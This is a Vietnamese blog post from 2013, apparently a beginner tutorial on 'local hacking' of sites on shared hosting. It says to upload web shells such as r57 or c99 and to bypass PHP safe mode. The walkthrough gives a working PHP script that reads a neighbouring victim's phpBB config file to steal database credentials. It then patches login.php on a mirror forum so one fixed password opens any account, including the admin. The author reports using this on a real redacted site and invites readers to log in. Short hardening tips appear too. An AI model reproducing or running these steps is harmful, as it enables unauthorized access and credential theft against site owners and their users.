Thứ Năm, 27 tháng 6, 2013

Khái Niệm về Hack local (for newbie)

Hack Local là gì ?
-------------------
Hiểu một cách nôm na là tấn công cục bộ. Cục bộ ở đây có nghĩa là trên cùng một máy chủ (server). Tấn công này được thực hiện như thế nào ?

Ví dụ ta cần tấn công site mục site1.com, nhưng sau khi phân tích tình hình thì thấy rằng việc tấn công trực tiếp site này là rất khó. Và cũng qua khảo sát ta biết được rằng trên server này có rất nhiều site khác. Ý tưởng : tấn công một site khác cùng server sau đó lấy site này làm bàn đạp tấn công site mục tiêu.

Có những loại hack local nào ? Tôi tạm thời chia làm 3 loại : Unix local, windows local, FTP local. Có lẽ rất nhiều bạn chỉ biết đến local hack trên Unix mà chưa biết đến 2 loại sau happy. Unix Local có nghĩa là máy chủ là Unix, tương tự đối với windows local, còn FTP local có nghĩa là local qua FTP.

Phần chung nhất của các loại trên là ở bước 1, bước tìm các site cùng server. Cái này có thuật ngữ chung là : Reverse IP. Ta có thể dùng tool sau để xác định các site cùng server :

http://www.domaintools.com/reverse-ip/ --> cái này mới thu phí rồi

http://www.seologs.com/ip-domains.html -> cái này có lợi thế là lưu cả tên miền Việt Nam, nhưng sô lượng ít hơn site trên

Sau khi làm xong bước trên, đến bước tìm site bị lỗi để dùng làm bàn đạp tấn công. Bước này thì ở các loại đã có sự phân hóa. Tôi sẽ trình bày riêng từng phần.

1. Unix local

Có lẽ bây giờ chỉ phổ biến site php-mysql trên Unix, nên tôi tập chung vào cái này. Cách tìm bug được tiến hành theo tư duy như sau :

- Nếu site đó sử sụng một loại mã nguồn đã được xác định, ví dụ dùng mã nguồn mở, thì đầu tiên là vào các site thông báo bug để kiểm tra xem bản code đang dùng có dính bug nào không. Có thể vào http://milw0rm.com/ hay http://www.securityfocus.com/ ... để tìm bug.

- Nếu ở bước trên không thành công hoặc code do họ tự phát triển thì cách duy nhất là phải tự ngồi mò xem. Lúc này dựa vào kinh nghiệm và khả năng của người hack là chính. Các lỗi hay được sử dụng và khá dễ để phát hiện : SQL injection, PHP file include, lỗi cài mặc định các ứng dụng như các bộ editor, lỗi không chứng thực phần upload file, upload file không filter, hoặc có filter + apache unknow extension,... rất nhiều lỗi có thể khai thác được. Tôi sẽ không đi vào chi tiết các lỗi này sử dụng và khai thác như thế nào.

Sau khi tìm ra lỗi, mục tiêu là phải upload được một con shell lên để có thể tiến hành tiếp bước sau. Việc upload được shell hay không phụ thuộc rất nhiều vào việc admin site đó CHMOD có tốt không. Các bạn có thể tham khảo bài : CHMOD là gì ? . Tôi giả sử là đã upload được shell rồi. Đến đây ta bắt đầu thử local sang site mục tiêu. Nếu Safe mode OFF và local dễ dàng thì không có gì đáng nói, site mục tiêu đã có thể xâm nhập. Nếu Safe mode ON và local gặp khó khăn, lúc này cần phải biết về các bug safe mode by pass. Các lỗi này tùy thuộc vào phiên bản của PHP và phụ thuộc vào các hàm có thể sử dụng có bị cấm hay không. Nếu không dùng PHP safe mode by pass ta có thể dùng LOAD DATA LOCAL INFINE, về cái này thì chị Yến đã có bài viết rồi.

Nếu tất cả các cách trên không được, ta xoay sang xem có khả năng get root - chiếm quyền kiểm soát server hay không, cái này tùy thuộc vào kernel của hệ điều hành và tùy thuộc vào phần mền cài trên máy chủ có dính bug overflow hay không ? ... Nói tóm lại là khi có shell rồi mỗi người có một cách tùy thuộc khả nẳng.

-->Cách fix ?

Để không bị dính các lỗi trên thì phải update phần mềm và config đúng (tôi sẽ nói chi tiết ở bài khác).

- Bật safe mode ON

- Trong php.ini Cấm các hàm nhạy cảm + các hàm có thể safe mode by pass (đòi hỏi admin phải cập nhật thông tin liên lục)

- Đối với virtual host thì tham số open_basedir là rất quan trọng, cần phải đặt tham số này đúng với thư mục web của từng site

- CHMOD kỹ cẩn thận (CHMOD như thế nào thì phải đọc)

- Các form upload cần phải lọc file...

- Trong file my.conf thêm dòng set-variable=local-infile=0 để tránh lỗi LOAD DATA LOCAL INFINE

2. Windows local

Cách tìm site lỗi về cơ bản là giống phần trên, chỉ khác ở đặc tính ngôn ngữ lập trình, cần phải xem xét kỹ hơn ở khía cạnh này.

Để có thể local được có các khả năng sau : phân quyền bị không tốt (thường là dùng chung group, group phân quyền không cẩn thận),server chưa cấm command execute. Tất cả các shell chạy trên windows đều có một đặc tính là sử dụng FSO (File System Object) - nếu cái này làm cẩn thận mà move cmd.exe đi thì không có cách gì chạy được cmd. Ở đây là còn chưa nói đến chương trình diệt virus rất nhạy cảm với FSO, nên rất dễ bị phát hiện.

-->Cách khắc phục ?

Phân quyền tốt : tốt nhất là nên dùng windows 2003 server, mỗi một site chạy một pool là tốt nhất, nhưng như thế tốn tài nguyên hơn. Account chạy web của mỗi site là riêng biệt và account chạy ASP.NET khác account chạy asp, php,... Việc set permission là cựu kỳ quan trọng, để làm tốt việc này, cần phải đọc thêm tài liệu và làm tốt các security check list của Microsoft. Lưu ý là không dùng Default pool để chạy. Thường là các server riêng rất hay gặp lỗi này vì admin những server này chỉ cần cài cho chạy được là xong nhưng ngược lại server riêng thường chỉ chạy 1 vài site. Cái nguy hiểm chính là ở chỗ này, nếu mà server riêng bị tấn công khả năng mất quyền kiểm soát và mất mát dữ liệu nhiều là rất cao.

3. FTP local

Cái này nghe có vẻ lạ nhưng cách khai thác lại cực kỳ đơn giản, tôi lấy chính site của tôi làm VD. Vì lỗi này tôi đã thông báo và chỉ cho admin cách fix. (mới fix thôi nhé, không biết đã hết chưa, không khéo chỉ fix mỗi acc của tôi, hôm sau lỗ source là toi happy)

Trên hình bạn đã nhìn thấy rồi đó, cái FTP trên là tôi login vào acc FTP của tôi, nhưng tôi có thể vào tất cả các FTP khác cùng server.

Vậy lỗi ở đâu ? Lỗi có thể do 2 khả năng :

- Tham số Fix Home dir (ko nhớ rõ) không được set

- Tất cả các user FTP chung group và group này có quyền đối với tất cả các thư mục của các acc thành phần.
----------------------------
Mot cach don gian nhat.
1, Tim mot muc tieu
2, Len whois check xem lang gieng of no
3, Check bug of no va cua lang gieng of no(se ton nhiu thoi gian va nho fai du kien tri)
4, Kiem tra va loi dung bug do up shell( thuong la con r57-shell php)
5, Finish no.
Mot cach khac de thu co ve nhanh hon.
1, Dang ky mot cai host php free
2, Up shell len(r57 or c99 or c100)
3, Chay shell -> lam dc j thi lam
4, Finish
------------------------
Bước 1. Xác định URL website cần hack.
Do đây là free hosting nên website luôn có dạng http://root/yoursite
Và giả sử forum phpBB nằm tại URL sau http://root/victim/phpBB_path/
Chú ý là phải tìm đúng URL Root chứ không phải redirect hay forward ..
Bước 2. Đăng kí một hosting cùng trên server đó.
Vì đây là free hosting nên nếu victim đăng kí được thì bạn cũng có thể đăng kí dễ dàng
Giả sử bạn đăng kí một hosting như sau http://root/mysite/
Bước 3 Xác định DB info của Victim
Điều này rất dơn giản khi bạn với victim đang cùng trên một Local
Thật vậy có thể là /home/user_root/public_html/mysite/ hay /home/user_root/httpdocs/mysite/ tuỳ thuộc Control Panel của Server là lọai gì (Cpanel, Plesk, Enxim..). Nhưng điều này không cần chú ý.
3.1 Bạn tạo một file để lấy DB info của victim như sau
## getdb.php begin
<?php
$fd = fopen ("../victim/phpBB_path/config.php", "r");
while (!feof ($fd)) {
$line = fgets($fd,4000);
print $line;
}
fclose ($fd);
?>
## getdb.php end
Bạn có thể thay $fd bằng đường dẫn tới bất kì file php mà bạn muốn xem mã nguồn của nó. Vì đối với các loại Portal hoặc forum khác có thể DB Info không chứa trong file config.php như của phpBB
3.2 Upload file getdb.php
Bạn chỉ việc upload lên hosting mà bạn vừa đăng kí http://root/mysite/getdb.php
3.3 Lấy DB info của victim
Chạy file getdb.php vừa rồi trên Browser của bạn. Bạn sẽ thấy một màn hình trắng (blank). Đừng lo, bạn hãy "View source" và bạn sẽ thấy được các thông tin như sau
## getdb.php's source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## getdb.php's source end
Xong bước thứ 3
Bước 4. Kiểm tra mật khẩu mà bạn vừa lấy được.
Với nick Admin trong forum và tất cả những gì có thể liên quan như passwd e-mail, hosting, domain .. Vì có thể nạn nhân dùng 1 passwd cho tất cả những mật khẩu của mình cho đỡ quên. Đây là một trong những thói quen chết người
Nếu mà thành công thì dừng tại đây nếu không hãy sang bước thứ 5
Bước 5. Tạo một mirror phpBB forum.
5.1 Nghĩa là sao, bạn hãy upload một phpBB forum cùng phiên bản với victim vào hosting của bạn http://root/mysite/
Và đừng Install forum này nếu bạn muốn hack nó.
5.2 Config forum vừa upload
Bạn hãy config cho forum của bạn thực sự là một mirror của victim's forum.
Điều đó có nghĩa là bạn phải link DB đến DB của victim, điều đó thật dễ dàng khi bạn đã có được DB info của victim trong tay.
5.2.1 Tạo file config.php
Đó là toàn bộ những gì bạn vừa "view source" được
## config.php source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## config.php source end
5.2.2 Upload config.php
Bạn upload đè lên file config.php trong cái forum mới toanh mà bạn vừa upload.
http://root/mysite/config.php
5.2.3 Thử lại
Bạn thử gõ http://root/mysite/ xem, nếu mà forum của bạn có các thông số y hệt như của http://root/victim/phpBB_path tức là bạn đã thành công bước này
Bước 6. Sửa mã nguồn Mirror Site
Mục đích bước này là bạn sẽ sửa mã nguồn forum của bạn đề bạn có thể Login vào được Admin panel của nó. Nếu bạn học PHP thì việc này khá dễ dàng.
Tôi xin nêu ra 1 phương pháp, đó là cách crack cổ điển.
6.1 Crack cổ điển
6.1.1
Đó là khi bạn muốn crack passwd 1 file exe, bạn có thể deassebler nó ra thành file.asm bằng nhiều chương trình hiện nay
6.1.2
Tìm các lệnh nhảy có điều kiện (JP gì gì đó. Cái này có hàng đống mà). của đoạn code dòi mật khẩu
6.1.3
Sửa thành lệnh nhảy không điều kiên
6.1.4
Compile lại thành file exe và OK. Ta nhập bất cứ mật khẩu nào vào nó cũng chấp nhận
6.2 Sửa mã nguồn
Sửa ở file login.php và sẽ cho phép bạn Login dưới mọi nickname bằng 1 passwd chọn sẵn
6.2.1 Chọn mật khẩu chung cho toàn bộ các nick.
Thực sự các mật khẩu trong phpBB đã được mà hoá theo kiểu MD5, do đó có thể rất khó khăn để có thể giải mã nó. Nếu các bạn hiểu rõ về kiêu encode này thì các bạn có thể tự tìm cho mình mật khẩu thích hợp, nếu không các bạn có thể sử dụng mật khẩu đã được tôi giải mã là: "hainam@hainam.org"
Cái địa chỉ mail của tôi ấy mà, khi mật khẩu này được mã hoá theo MD5 nó sẽ là một mật khẩu như sau "692e2c95b693cf6fbec8ea5c40536b9e"
hainam@hainam.org => 692e2c95b693cf6fbec8ea5c40536b9e
6.2.2 Thiết lập mật khẩu chung cho toàn bộ các nick
Trước hết bạn mở file login.php ra tìm đoạn sau
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
## file login.php ..
Chèn thêm biến $hack = "692e2c95b693cf6fbec8ea5c40536b9e";
Tức là sửa đoanj mã đó thành
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
$hack = "692e2c95b693cf6fbec8ea5c40536b9e";
## file login.php ..
Tiếp đó tìm đoạn mã sau
## file login.php ..
else
{
if( md5($password) == $row['user_password'] && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Sửa đoạn mã đó thành
## file login.php ..
else
{
if( md5($password) == $hack && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Ghi lại file login.php
Bước 7.Login User với mật khẩu đã chọn
Bây giờ bạn có thể login vào diễn đàn qua website của bạn http://root/mysite/login.php với bất cứ nickname nào bằng mật khẩu mà bạn đã chọn. Ở đây là "hainam@hainam.org" kể cả là nick Admin, và vào được Admin Panel ..
Chú ý rằng ở website của bạn thì User chỉ có thể login với mật khẩu là hainam@hainam.org chứ không thể bằng bât kì mật khẩu khác kể cả đó là mật khẩu đúng
Tổng quát
I/Phương Pháp
-Đây là một ví dụ cho việc hack các website khi trong một local, không chỉ riêng đối với phpBB mà có thể áp dụng được cho nhiều Portal hay forum khác, tuy nhiên để có thể hack được từng loại bạn đều phải hiểu rất kĩ về nó và tránh lạm dụng quá đáng.
-Cách hack này tuy mất nhiều thời gian trong việc upload một mirror nhưng rất hiệu quả. Tuy nhiên tuyệt đối không nên sử dụng chúng lung tung và bừa bãi.
-Các hosting cho phép free, điều đó chứng tỏ họ rất tốt bụng, cũng chính vì vậy cũng không nên sử dụng phương pháp này khi KHÔNG THỰC SỰ cần thiết
II/Ví dụ.
-Trước hết tôi xin lỗi những ai đã làm website **** vì tôi sẽ đưa website của các bạn ra làm ví dụ và đã là victim đầu tiên của tôi.
-Mong các bạn, những người đang muốn học hỏi thêm một chút kinh nghiệm chỉ tham qua chứ không lạm dụng gi để làm hỏng DataBase của họ, thực sự tôi đã backup nhưng tôi cũng rất ngại restore lại. Hơn nữa để đảm bảo cho các bài viết tiếp theo không bị phản đối, tôi mong mọi người hãy tôn trọng ý kiến của tôi, KHÔNG PHÁ PHÁCH GÌ DB CỦA VICTIM và mang mục đích học hỏi và tham khảo lên hang đầu.
-Website mirror của website**** là **** , tại đây các bạn có thể login vào bất cứ nickname nào trong diễn đàn **** với mật khẩu chung là "hainam@hainam.org" . hãy nhớ là KHÔNG NÊN PHÁ DB CỦA HỌ, chi nên tham khảo
III/Kinh nghiệm
Điều quan trọng không phải là chúng ta hack được những cái gì mà là chúng ta học được những cái gì. Qua bài viết này mong các bạn nắm rõ được một số thao tác sau
-Đọc mã nguồn của một file bất kì trên website khi đã cùng một server (Bước 3)
-Kinh nghiệm về mật khẩu, dò tìm và ghi nhớ (Bước 4)
-Cách tạo một mirror website hay là cách link DB cho nhiều website (Bước 5)
-Cách crack cổ điển bằng ASM (Bước 6.1)
Các bạn nên tìm ra các mối liên hệ giữa các Portal, Forum, Guest Book, Chatroom PHP-CGI,.. để có thể áp dụng phương pháp này. Mặt khác các bạn cũng có thể hack được ngay cả đối với các domain hosting chứ không phải là các site có dạng http://root/yoursite/ . Và Các Paid hosting cũng không ngaọi trừ khả năng bị hack nếu các hacker đã thực sự muốn hack và sẵn sang bỏ tiền mua một hosting trên cùng một Server. Phần hack paid hosting và domain tôi xin để cho các bạn tự tìm hiểu. Hãy nhớ rằng luôn luôn phải chú ý đến URL Root của mỗi hosting. Ví dụ như ở Cpanel thì URL Root cho các domain hosting là http://[IP Server]/~user .vv
Chúc các bạn thành công

Không có nhận xét nào:

Đăng nhận xét